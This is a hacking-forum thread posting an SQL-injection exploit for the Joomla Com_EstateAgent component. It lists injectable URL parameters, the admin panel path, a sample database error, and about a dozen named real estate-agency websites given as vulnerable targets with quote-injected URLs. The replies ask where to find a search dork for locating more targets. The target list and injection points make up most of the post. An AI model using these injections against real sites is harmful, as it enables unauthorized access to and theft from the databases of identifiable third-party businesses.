

Forum:[Hack Forums](#)

Thread: [Joomla 1.5.26 Com_EstateAgent Components 3.x SQL Injection](#)

OfficeInboxer - April 26, 2020, 2:55 pm

Exploit Title : Joomla 1.5.26 Com_EstateAgent Components 3.x SQL Injection
Date : 24/08/2019
Vendor Homepage : joomla.org - eaimproved.eu
Software Download Link : extensions.joomla.org/extension/estate-agent-improved/
Affected Joomla Version : Joomla 1.0.12 - 1.0.15 - 1.5.18 - 1.5.26
Software Affected Version : Com_EstateAgent 3.x - 3.7
Tested On : Windows and Linux
Category : WebApps
Exploit Risk : Medium

#####

Impact : *****

Joomla 1.5.26 Com_EstateAgent Components 3.x is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application's database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser or with any SQL Injector Tool.

#####

Admin Panel Login Path : *****

/administrator

SQL Injection Exploit : *****

/index.php?option=com_estateagent&act=object&task=showEO&id=[SQL Injection]

/index.php?option=com_estateagent&Itemid=[ID-NUMBER]&act=object&task=showEO&id=[SQL Injection]

/index.php?option=com_estateagent&Itemid=[ID-NUMBER]&act=object&task=showEO&id=[SQL Injection]&lang=english

/index.php?option=com_estateagent&act=showCE&id=[ID-NUMBER]&Itemid=[SQL Injection]&limitstart=[SQL Injection]

/index.php?option=com_estateagent&act=showCE&id=[ID-NUMBER]&Itemid=[ID-NUMBER]&limitstart=[SQL Injection]

/index.php?option=com_estateagent&act=showEASR&Itemid=[SQL Injection]&lang=el&font-size=larger

#####

Example Vulnerable Sites : *****

[+]

immobiliarepantaleo.it/web/index.php?option=com_estateagent&Itemid=1&act=object&task=showEO&id=1%27

[+]

kritamos-estate.gr/index.php?option=com_estateagent&act=showEASR&Itemid=177&lang=el&font-size=larger

[+]

realestatefasano.com/index.php?option=com_estateagent&Itemid=26&act=object&task=showEO&id=503%27&lang=english

[+]

specinkom.ru/index.php?option=com_estateagent&Itemid=32&act=object&task=showEO&id=230%27

[+]

alizziiimmobiliare.it/catalogo/index.php?option=com_estateagent&Itemid=1&act=object&task=showEO&id=844%27

[+]

casenelverde.com/index.php?option=com_estateagent&Itemid=99999999&act=object&task=showEO&id=928%27

[+]

kvarc.com.ua/index.php?option=com_estateagent&Itemid=39&act=object&task=showEO&id=1267%27

[+]

itranaimmobiliare.it/public/index.php?option=com_estateagent&Itemid=26&act=object&task=showEO&id=2%27

[+]

stefanibg.com/index.php?option=com_estateagent&Itemid=26&act=object&task=showEO&id=391%27

[+]

taman.su/index.php?option=com_estateagent&Itemid=36&act=object&task=showEO&id=210%27

[+]

vizorsa.com/web/index.php?option=com_estateagent&Itemid=26&act=object&task=showEO&id=5%27

[+]

an-status.ru/index.php?option=com_estateagent&Itemid=7&act=object&task=showEO&id=1012%27

[+]

suzili.info/index.php?option=com_estateagent&Itemid=46&act=object&task=showEO&id=469%27&lang=ru

#####

Example SQL Database Error : *****

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND d.published = 1 AND d.access<=0 AND c.name='EstateAgents\' at line 1 SQL=SELECT d.* FROM jos_contact_details AS d LEFT JOIN jos_categories AS c ON (d.catid = c.id) WHERE d.user_id = AND d.published = 1 AND d.access<=0 AND c.name='EstateAgents' Warning: Invalid argument supplied for foreach() in /web/htdocs/www.immobiliarepantaleo.it/home/web/components/com_estateagent/templates/improved/obj.php on line 52

Zeth1337 - April 27, 2020, 12:40 am

where is the dork sir anyway??? its imposible to find a site like that security

OfficelInboxer - April 27, 2020, 3:28 am

(Apr 27, 2020 12:40 AM)Zeth1337 Wrote: [\[CITE\]](#) where is the dork sir anyway??? its imposible to find a site like that security
if u have just a littlebit experience u can find dork in the site injection

The 3rd - April 27, 2020, 4:37 pm

(Apr 27, 2020 12:40 AM)Zeth1337 Wrote: [\[CITE\]](#) where is the dork sir anyway??? its imposible to find a site like that security
U wanna some advice?

Drop the 1337